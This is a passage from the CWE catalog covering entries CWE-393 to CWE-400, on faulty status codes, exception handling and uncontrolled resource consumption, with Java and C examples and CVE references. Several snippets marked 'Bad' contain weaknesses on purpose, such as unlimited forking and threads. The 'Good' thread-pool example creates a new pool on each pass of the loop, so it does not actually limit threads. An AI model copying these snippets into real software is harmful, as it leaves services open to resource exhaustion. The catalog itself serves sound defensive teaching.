<b>CVE-2002-0499</b>	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0499">https://www.cve.org/CVERecord?id=CVE-2002-0499</a>
<b>CVE-2005-2459</b>	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2459">https://www.cve.org/CVERecord?id=CVE-2005-2459</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	844	2160
MemberOf		884	CWE Cross-section	884	2327
MemberOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192
MemberOf		1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	1133	2243

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Error Status Code

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	TPS03-J		Ensure that tasks executing in a thread pool do not fail silently
Software Fault Patterns	SFP6		Incorrect Exception Behavior

## CWE-393: Return of Wrong Status Code

**Weakness ID :** 393

**Structure :** Simple

**Abstraction :** Base

### Description

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

### Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the product to assume that an action is safe, even when it is not.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	⊕	684	Incorrect Provision of Specified Functionality	1410

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	⊖	389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Alter Execution Logic	
<p><i>This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.</i></p>		

### Demonstrative Examples

#### Example 1:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Example Language: Java

(Bad)

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

## Observed Examples

Reference	Description
<b>CVE-2003-1132</b>	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1132">https://www.cve.org/CVERecord?id=CVE-2003-1132</a>
<b>CVE-2001-1509</b>	Hardware-specific implementation of system call causes incorrect results from geteuid. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1509">https://www.cve.org/CVERecord?id=CVE-2001-1509</a>
<b>CVE-2001-1559</b>	System call returns wrong value, leading to a resultant NULL dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1559">https://www.cve.org/CVERecord?id=CVE-2001-1559</a>
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). <a href="https://www.cve.org/CVERecord?id=CVE-2014-1266">https://www.cve.org/CVERecord?id=CVE-2014-1266</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192

## Notes

### Relationship

This can be primary or resultant, but it is probably most often primary to other issues.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Wrong Status Code
Software Fault Patterns	SFP6		Incorrect Exception Behavior

## CWE-394: Unexpected Status Code or Return Value

**Weakness ID** : 394

**Structure** : Simple

**Abstraction** : Base

## Description

The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Alter Execution Logic	

### Observed Examples

Reference	Description
<b>CVE-2004-1395</b>	Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1395">https://www.cve.org/CVERecord?id=CVE-2004-1395</a>
<b>CVE-2002-2124</b>	Unchecked return code from recv() leads to infinite loop. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2124">https://www.cve.org/CVERecord?id=CVE-2002-2124</a>
<b>CVE-2005-2553</b>	Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2553">https://www.cve.org/CVERecord?id=CVE-2005-2553</a>
<b>CVE-2005-1858</b>	Memory not properly cleared when read() function call returns fewer bytes than expected. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1858">https://www.cve.org/CVERecord?id=CVE-2005-1858</a>
<b>CVE-2000-0536</b>	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0536">https://www.cve.org/CVERecord?id=CVE-2000-0536</a>
<b>CVE-2001-0910</b>	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0910">https://www.cve.org/CVERecord?id=CVE-2001-0910</a>
<b>CVE-2004-2371</b>	Game server doesn't check return values for functions that handle text strings and associated size values. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2371">https://www.cve.org/CVERecord?id=CVE-2004-2371</a>
<b>CVE-2005-1267</b>	Resultant infinite loop when function call returns -1 value. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1267">https://www.cve.org/CVERecord?id=CVE-2005-1267</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	2193

Nature	Type	ID	Name	V	Page
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276

## Notes

### Relationship

Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unexpected Status Code or Return Value
Software Fault Patterns	SFP4		Unchecked Status Condition
SEI CERT Perl Coding Standard	EXP00-PL	Imprecise	Do not return undef

## CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

**Weakness ID :** 395

**Structure :** Simple

**Abstraction :** Base

### Description

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

### Extended Description

Programmers typically catch NullPointerException under three circumstances:

- The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
- The program explicitly throws a NullPointerException to signal an error condition.
- The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1468
ChildOf		705	Incorrect Control Flow Scoping	1437

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

## Demonstrative Examples

### Example 1:

The following code mistakenly catches a NullPointerException.

*Example Language: Java*

*(Bad)*

```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

## MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		388	7PK - Errors	700	2114
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Catching NullPointerException
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-396: Declaration of Catch for Generic Exception

**Weakness ID** : 396

**Structure** : Simple

**Abstraction** : Base

### Description

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

### Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	531
ChildOf		755	Improper Handling of Exceptional Conditions	1468
ChildOf		705	Incorrect Control Flow Scoping	1437

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

### Demonstrative Examples

#### Example 1:

The following code excerpt handles three types of exceptions in an identical fashion.

*Example Language: Java*

(Good)

```
try {
    doExchange();
}
catch (IOException e) {
    logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
    logger.error("doExchange failed", e);
}
catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

*Example Language:*

(Bad)

```
try {
    doExchange();
}
catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if `doExchange()` is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from `RuntimeException` such as `ClassCastException`, and `NullPointerException`, which is not the programmer's intent.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	388	7PK - Errors	700	2114
MemberOf	<b>C</b>	960	SFP Secondary Cluster: Ambiguous Exception Type	888	2192

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Overly-Broad Catch Block
Software Fault Patterns	SFP5		Ambiguous Exception Type
OMG ASCSM	ASCSM- CWE-396		
OMG ASCRM	ASCRM- CWE-396		

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-397: Declaration of Throws for Generic Exception

**Weakness ID** : 397

**Structure** : Simple

**Abstraction** : Base

### Description

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

### Extended Description

Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	531
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	C	705	Incorrect Control Flow Scoping	1437

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

### Demonstrative Examples

#### Example 1:

The following method throws three types of exceptions.

*Example Language: Java*

(Good)

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
    ...
}
```

While it might seem tidier to write

*Example Language:*

(Bad)

```
public void doExchange() throws Exception {
    ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

#### Example 2:

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.

*Example Language:*

(Bad)

```
int myfunction() throw(std::exception) {
    if (0) throw out_of_range();
    throw length_error();
}
```

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	2114
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	2192
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241

## Notes

### Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Overly-Broad Throws Declaration
The CERT Oracle Secure Coding Standard for Java (2011)	ERR07-J		Do not throw RuntimeException, Exception, or Throwable
Software Fault Patterns	SFP5		Ambiguous Exception Type
OMG ASCSM	ASCSM-CWE-397		
OMG ASCRM	ASCRM-CWE-397		

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-400: Uncontrolled Resource Consumption

**Weakness ID** : 400

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

### Extended Description

Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the product, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

There are at least three distinct scenarios which can commonly lead to resource exhaustion:

- Lack of throttling for the number of allocated resources
- Losing all references to a resource before reaching the shutdown stage
- Not closing/returning a resource after processing

Resource exhaustion problems are often result due to an incorrect implementation of the following situations:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for releasing the resource.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1502
ParentOf	B	771	Missing Reference to Active Allocated Resource	1510
ParentOf	B	779	Logging of Excessive Data	1529
ParentOf	B	920	Improper Restriction of Power Consumption	1696
ParentOf	B	1235	Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations	1863
ParentOf	B	1246	Improper Write Handling in Limited-write Non-Volatile Memories	1884
CanFollow	B	410	Insufficient Resource Pool	945

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1502
ParentOf	B	920	Improper Restriction of Power Consumption	1696

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Resource Exhaustion** :

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	
Access Control	Bypass Protection Mechanism	
Other	Other	

*The most common result of resource exhaustion is denial of service. The product may slow down, crash due to unhandled errors, or lock out legitimate users.*

*In some cases it may be possible to force the product to "fail open" in the event of resource exhaustion. The state of the product -- and possibly the security functionality - may then be compromised.*

## Detection Methods

### Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

*Effectiveness = Limited*

### Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

*Effectiveness = Moderate*

### Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

*Effectiveness = Opportunistic*

## Potential Mitigations

### Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

### Phase: Architecture and Design



Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

### Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

### Phase: Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
class Worker implements Executor {
    ...
    public void execute(Runnable r) {
        try {
            ...
        }
        catch (InterruptedException ie) {
            // postpone response
            Thread.currentThread().interrupt();
        }
    }
    public Worker(Channel ch, int nworkers) {
        ...
    }
    protected void activate() {
        Runnable loop = new Runnable() {
            public void run() {
                try {
                    for (;;) {
                        Runnable r = ...;
                        r.run();
                    }
                }
                catch (InterruptedException ie) {
                    ...
                }
            }
        };
        new Thread(loop).start();
    }
}
```

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

### Example 2:

This code allocates a socket and forks each time it receives a new connection.

*Example Language: C*

*(Bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
```

```
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

### Example 3:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C

(Bad)

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

### Example 4:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C

(Bad)

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
```

```

{
  char *body;
  int length = getMessageLength(message[0]);
  if (length > 0) {
    body = &message[1][0];
    processMessageBody(body);
    return(SUCCESS);
  }
  else {
    printf("Unable to process message; invalid message length");
    return(FAIL);
  }
}

```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from `getMessageLength()`, but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

*Example Language: C*

*(Good)*

```

unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}

```

### Example 5:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the `ClientSocketThread` class that handles request made by the client through the socket.

*Example Language: Java*

*(Bad)*

```

public void acceptConnections() {
  try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
      Socket client = serverSocket.accept();
      Thread t = new Thread(new ClientSocketThread(client));
      t.setName(client.getInetAddress().getHostName() + ":" + counter++);
      t.start();
    }
    serverSocket.close();
  } catch (IOException ex) {...}
}

```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

*Example Language: Java*

*(Good)*

```

public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;

```

```

...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + "." + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}

```

### Observed Examples

Reference	Description
<b>CVE-2022-21668</b>	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). <a href="https://www.cve.org/CVERecord?id=CVE-2022-21668">https://www.cve.org/CVERecord?id=CVE-2022-21668</a>
